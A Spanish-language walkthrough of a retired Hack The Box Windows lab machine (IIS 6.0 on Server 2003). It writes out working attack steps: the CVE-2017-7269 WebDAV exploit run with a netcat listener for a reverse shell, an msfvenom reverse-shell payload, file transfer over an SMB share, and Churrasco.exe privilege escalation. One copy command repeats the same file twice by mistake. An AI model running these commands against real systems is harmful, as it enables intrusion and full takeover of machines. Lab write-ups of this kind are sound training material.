Fecha de lanzamiento | 12 Abr 2017 |
Estado | Retirada |
Dificultad | Easy |
Plataforma | Windows |
IP | 10.10.10.14 |
Información de la máquina
RECONOCIMIENTO
Mediante el escaneo con la herramienta nmap podemos observar abierto el puerto 80.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.14 -oG allPorts nmap -sCV -p80 10.10.10.14 -oN targeted
Observamos que esta corriendo un Microsoft IIS de versión 6.0, que si comprobamos la versión actual esta bastante desactualizada (versión actual es la 10). Además podemos observar que nos devuelve que existen numerosos ‘Risky Methods‘. Por ello vamos a hacer uso de la herramienta davtest
para que nos prueba la subida de diferentes extensiones de archivos.
No obtenemos resultados relevantes, pero al ser una versión tan antigua, seguramente existan exploits públicos interesantes. En una búsqueda rápida en Google, vemos que encontramos un repositorio de Github útil: https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
Este exploit aprovecha una vulnerabilidad existente en los Microsoft IIS de versión 6.0 mediante un desbordamiento de búfer en una función del servicio WebDav que permite ejecución remota de comandos. Este exploit nos lo automatiza y nos permite mandarnos una reverse shell a nuestro equipo. Para ello, nos clonamos el repositorio, y se trata de un script sencillo en Python2, donde tenemos que pasar IP remota y local así como puertos remotos y locales como parámetros. A su vez, nos ponemos en escucha en ese puerto para que nos llegue la reverse shell.
EXPLOTACIÓN
# Nos ponemos en escucha rlwrap nc -lvnp <localport> # Corremos el script python2 iis6reverseshell.py 10.10.10.14 80 <localIP> <localPort>
Ya tenemos acceso a la máquina como un usuario no privilegiado. Lo siguiente será escalar privilegios para obtener máximos permisos.
ESCALADA DE PRIVILEGIOS
Si vemos los privilegios que tenemos, vemos que tenemos habilitado el privilegio de SeImpersonatePrivilege.
Teniendo este privilegio, tenemos una potencial escalada de privilegios. Para estos casos utilizaríamos herramientas como JuicyPotato, SweetPotato... pero si hacemos un systeminfo
, vemos que tenemos un Windows Server 2003. Es una versión de OS muy antigua, y el Juicy Potato no tiene soporte para esta versión.
Por ello, vamos a usar un exploit denominado Churrasco.exe. Se trata de un exploit similar a JuicyPotato, pero compatible con versiones más antiguas de Windows como XP o 2003. Para más información visitar el siguiente link: https://binaryregion.wordpress.com/2021/08/04/privilege-escalation-windows-churrasco-exe/.
Nos vamos a descargar el ejecutable, y antes de transferirlo a la máquina vamos a crearnos un ejecutable malicioso que nos entable una reverse shell a nuestro equipo. Para ello vamos a usar la herramienta msfvenom
.
msfvenom -p windows/shell_reverse_tcp LHOST=<local machine IP> LPORT=4444 EXITFUNC=thread -f exe -a x86 --platform windows -o shell.exe
Una vez tenemos ambos ejecutables, nos los vamos a transferir a la máquina víctima. Para ello, vamos a compartir los archivos a través del protocolo SMB, y desde una carpeta que nos creemos en el directorio Temp , vamos a copiarnos los archivos.
# Maquina Local impacket-smbserver smb $(pwd) -smb2support # Máquina Víctima copy \\IPLOCAL\smb\churrasco.exe churrasco.exe copy \\IPLOCAL\smb\churrasco.exe churrasco.exe
Por último, vamos a ejecutar el exploit, pasándole el ejecutable malicioso como argumento y levantando un puerto a la escucha en local.
churrasco.exe -d "C:\WINDOWS\Temp\PrivEsc\shell.exe"
Ya tenemos máximos privilegios en la máquina Windows y podemos recolectar ambas flags.